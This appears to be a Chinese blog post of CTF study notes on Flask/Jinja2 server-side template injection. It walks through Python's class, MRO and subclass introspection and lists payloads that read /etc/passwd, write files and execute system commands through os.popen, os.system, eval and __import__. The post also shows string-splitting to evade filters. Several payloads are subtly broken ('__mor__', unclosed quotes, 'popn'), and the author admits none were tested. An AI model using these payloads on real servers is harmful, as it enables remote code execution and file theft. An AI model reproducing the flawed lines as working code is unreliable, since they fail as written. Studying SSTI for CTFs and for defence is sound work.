FLASK模板注入 (SSTI)

最近的几次比赛里,发现有几道涉及SSTI的题目,之前在护网杯的时候其实就已经碰到过了,但是当时并没有重视,今天才真的去好好了解了SSTI的原理以及利用方法。

首先,SSTI漏洞引发的原因和大多数web漏洞一样,对用户输入的值过于信任,导致用户输入一些恶意代码来完成攻击。而最近碰到的几个SSTI都是基于 FLASK JINJA2模板的注入,FLASK是由python写的一个基于JINJA2引擎的web应用框架,其实我对这些框架并不了解,但了解这些漏洞也算是对自己python理解的进一步提升吧。

Python是面向对象的编程语言,所以同样有着类,对象和继承属性。而这种SSTI就充分利用了这些。

Python中有一个 .__class__ 可以获取实例对应的类,比如一个空字符串 "".__class__就可以获取到 <type'str'> ,那这个字符串同样也可以换成列表,元组,字典。

接着就是 __mro__这个属性可以获取到当前对象的所有继承类, 这个属性返回一个tuple对象,这个对象包含了当前类对象所有继承的基类,tuple中元素的顺序就是MRO(Method Resolution Order) 寻找的顺序。或者用__base__这个属性也可以获取到基本类。

再往后又涉及到类对象中的方法 __subclasses__(),这个方法会返回类中所有存活子类的引用(不是实例),那如果我们用object类调用这个方法的话,就可以返回所有的类对象了。(object类对象是所有类的父类)

0 <type 'type'>
1 <type 'weakref'>
2 <type 'weakcallableproxy'>
3 <type 'weakproxy'>
4 <type 'int'>
5 <type 'basestring'>
6 <type 'bytearray'>
7 <type 'list'>
8 <type 'NoneType'>
9 <type 'NotImplementedType'>
10 <type 'traceback'>
11 <type 'super'>
12 <type 'xrange'>
13 <type 'dict'>
14 <type 'set'>
15 <type 'slice'>
16 <type 'staticmethod'>
17 <type 'complex'>
18 <type 'float'>
19 <type 'buffer'>
20 <type 'long'>
21 <type 'frozenset'>
22 <type 'property'>
23 <type 'memoryview'>
24 <type 'tuple'>
25 <type 'enumerate'>
26 <type 'reversed'>
27 <type 'code'>
28 <type 'frame'>
29 <type 'builtin_function_or_method'>
30 <type 'instancemethod'>
31 <type 'function'>
32 <type 'classobj'>
33 <type 'dictproxy'>
34 <type 'generator'>
35 <type 'getset_descriptor'>
36 <type 'wrapper_descriptor'>
37 <type 'instance'>
38 <type 'ellipsis'>
39 <type 'member_descriptor'>
40 <type 'file'>
41 <type 'PyCapsule'>
42 <type 'cell'>
43 <type 'callable-iterator'>
44 <type 'iterator'>
45 <type 'sys.long_info'>
46 <type 'sys.float_info'>
47 <type 'EncodingMap'>
48 <type 'fieldnameiterator'>
49 <type 'formatteriterator'>
50 <type 'sys.version_info'>
51 <type 'sys.flags'>
52 <type 'sys.getwindowsversion'>
53 <type 'exceptions.BaseException'>
54 <type 'module'>
55 <type 'imp.NullImporter'>
56 <type 'zipimport.zipimporter'>
57 <type 'nt.stat_result'>
58 <type 'nt.statvfs_result'>
59 <class 'warnings.WarningMessage'>
60 <class 'warnings.catch_warnings'>
61 <class '_weakrefset._IterationGuard'>
62 <class '_weakrefset.WeakSet'>
63 <class '_abcoll.Hashable'>
64 <type 'classmethod'>
65 <class '_abcoll.Iterable'>
66 <class '_abcoll.Sized'>
67 <class '_abcoll.Container'>
68 <class '_abcoll.Callable'>
69 <type 'dict_keys'>
70 <type 'dict_items'>
71 <type 'dict_values'>
72 <class 'site._Printer'>
73 <class 'site._Helper'>
74 <type '_sre.SRE_Pattern'>
75 <type '_sre.SRE_Match'>
76 <type '_sre.SRE_Scanner'>
77 <class 'site.Quitter'>
78 <class 'codecs.IncrementalEncoder'>
79 <class 'codecs.IncrementalDecoder'>
80 <type 'operator.itemgetter'>
81 <type 'operator.attrgetter'>
82 <type 'operator.methodcaller'>
83 <type 'functools.partial'>
84 <type 'MultibyteCodec'>
85 <type 'MultibyteIncrementalEncoder'>
86 <type 'MultibyteIncrementalDecoder'>
87 <type 'MultibyteStreamReader'>
88 <type 'MultibyteStreamWriter'>

由此可以看到object类的第40号元素就是一个有读文件功能的类对象。

所以我们就可以用''.__class__.__mor__[2].__subclasses__()[40]('/etc/passwd').read() 读取/etc/passwd文件的内容

''.__class__.__mor__[2].__subclasses__()[40]('/tmp').write('test') 在tmp目录下写入一个test文件?应该是吧

然后就是更高级的操作,执行系统命令。object.__subclasses__()[59].__init__.func_globals.linecache

查阅的其他资料,访问os模块都是从warnings.catch_warnings模块入手的,而这两个模块分别位于元组中的59,60号元素。__init__用于将对象实例化,func_globals可以看该模块下有哪些globals函数,而linecache可用于读取任意一个文件的某一行,而这个函数引用了os模块。

  1. object.__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
  1. object.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('whoami').read()
  1. object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

object.__subclasses__()[59].__init__.__globals__.__builtins__下有eval,__import__等的全局函数

  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import_('os').popen('id').read()")
  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os).popen('id').read()")
  1. object.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os).popen('id').read()
  1. object.__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popn('id').read()

这些payload都可以实现命令执行。

因为还没有找到SSTI的环境,所以还没有复现,等找到有相关题目的环境就会搭好来复现一遍,对文章进行实例补充的。

猜你喜欢

转载自blog.csdn.net/yh1013024906/article/details/84330056